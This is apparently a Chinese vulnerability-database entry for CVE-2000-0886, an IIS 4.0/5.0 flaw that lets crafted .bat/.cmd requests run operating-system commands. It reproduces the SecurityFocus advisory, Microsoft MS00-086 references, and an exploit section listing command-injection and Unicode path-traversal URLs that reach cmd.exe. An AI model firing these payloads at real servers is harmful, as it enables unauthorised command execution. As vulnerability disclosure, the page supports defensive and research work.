IIS漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1106072 漏洞类型 输入验证
发布时间 2000-11-06 更新时间 2005-10-12
CVE编号 CVE-2000-0886 CNNVD-ID CNNVD-200012-113
漏洞平台 Windows CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/20384
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200012-113
|漏洞详情
IIS5.0版本存在漏洞。远程攻击者借助到名字附加有操作系统命令可执行文件的畸形请求执行任意命令,也称为“Web服务器文件请求解析”漏洞。
|漏洞EXP
source: http://www.securityfocus.com/bid/1912/info

When Microsoft IIS receives a valid request for an executable file, the filename is then passed onto the underlying operating system which executes the file. In the event that IIS receives a specially formed request for an executable file followed by operating system commands, IIS will proceed to process the entire string rather than rejecting it. Thus, a malicious user may perform system commands through cmd.exe under the context of the IUSR_machinename account which could possibly lead to privilege escalation, deletion, addition, and modification of files, or full compromise of the server.

In order to establish successful exploitation, the file requested must be an existing .bat or .cmd file residing in a folder that the user possesses executable permissions to.

Update (November 27, 2000): Georgi Guninski has discovered new variants of this vulnerability that have appeared after applying the patch (Q277873) supplied by Microsoft. Please see 'Exploit' for further details.

Update (December 7, 2000): Billy Nothern has discovered that the commands can also be parsed through ActiveState Perl. Please see his Bugtraq posted located under 'Credit' for further information.

**UPDATE**: It is believed that an aggressive worm may be in the wild that actively exploits this vulnerability.

The following HTTP requests will display a directory listing for C:\.

http://target/scripts/file.bat"+&+dir+c:/+.exe (IIS 5.0)
http://target/scripts/file.bat"+&+dir+c:/+.com

http://target/scripts/file.bat"+"&+dir+c:/+.exe (IIS 4.0)

http://target/scripts/a.bat"+".exe?+&+dir

http://target/scripts/..%c1%1c../..%c1%1c../mssql7/install/pubtext.bat"+&+dir+c:\+.exe

The following URLs apply to IIS 5.0 after the patch (Q277873) provided by Microsoft is installed:

http://target/scripts/file.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c%20dir%20C:
http://target/scripts/georgi.asp/..%C1%9C..%C1%9C..%C1%9Cfile.ext
|参考资料

来源:MS
名称:MS00-086
链接:http://www.microsoft.com/technet/security/bulletin/MS00-086.asp
来源:BUGTRAQ
名称:20001107NSFOCUSSA2000-07:MicrosoftIIS4.0/5.0CGIFileNameInspectionVulnerability
链接:http://www.securityfocus.com/templates/archive.pike?mid=143604&list=1&fromthread=0&end=2000-11-11&threads=0&start=2000-11-05&
来源:XF
名称:iis-invalid-filename-passing(5470)
链接:http://xforce.iss.net/xforce/xfdb/5470
来源:BID
名称:1912
链接:http://www.securityfocus.com/bid/1912
来源:USGovernmentResource:oval:org.mitre.oval:def:191
名称:oval:org.mitre.oval:def:191
链接:http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:191